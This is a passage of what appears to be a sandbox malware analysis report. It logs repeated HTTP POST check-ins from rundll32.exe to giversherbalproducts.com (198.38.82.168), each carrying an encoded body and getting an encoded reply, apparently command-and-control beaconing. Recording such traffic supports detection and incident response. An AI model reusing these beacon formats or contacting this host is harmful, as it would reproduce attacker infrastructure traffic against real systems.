f3p/QUVCQ0FBfn15eH96fXh9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.3	50248	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:29.495686054 CEST	7568	OUT	POST /lBawcxb5/Pw8fHCYeOiMoNy54GC89KSIxNCkxehgYCBl5OEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:29.979070902 CEST	7570	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.3	50249	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:30.035877943 CEST	7570	OUT	POST /lBawcxb5/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:30.504647017 CEST	7572	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
408	192.168.2.3	50250	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:30.353176117 CEST	7571	OUT	POST /lBawcxb5/ewIzLz06CRoBPB0fE3glDX0RFQEZQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:30.839287043 CEST	7573	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
409	192.168.2.3	50251	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:30.878129005 CEST	7573	OUT	POST /lBawcxb5/fQwKNjgxCw4CCwwAHSF2IAwyKAAdHDpFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:31.320317030 CEST	7574	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49796	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:31.370799065 CEST	1131	OUT	POST /lBawcxb5/AjlCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:32.099288940 CEST	1133	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
410	192.168.2.3	50252	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:31.320894003 CEST	7575	OUT	POST /lBawcxb5/LyUdeRZ/LBIcJBgvDCY3JBIhDQgzPgJ0RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:31.814824104 CEST	7576	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
411	192.168.2.3	50253	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:31.697484016 CEST	7575	OUT	POST /lBawcxb5/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:32.270172119 CEST	7578	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
412	192.168.2.3	50254	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:32.143588066 CEST	7577	OUT	POST /lBawcxb5/enM9IQwRA3IVFR54eCAGKHsDfQUyAiojFgcCQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:32.604641914 CEST	7579	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
413	192.168.2.3	50255	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:32.686767101 CEST	7579	OUT	POST /lBawcxb5/fjgFdD9+BXw8eR4HJ0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:33.135620117 CEST	7581	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
414	192.168.2.3	50256	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:32.982557058 CEST	7580	OUT	POST /lBawcxb5/BSwxP3sjIx16KhIIGgouAXJ6KTYfJHglHAoHQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
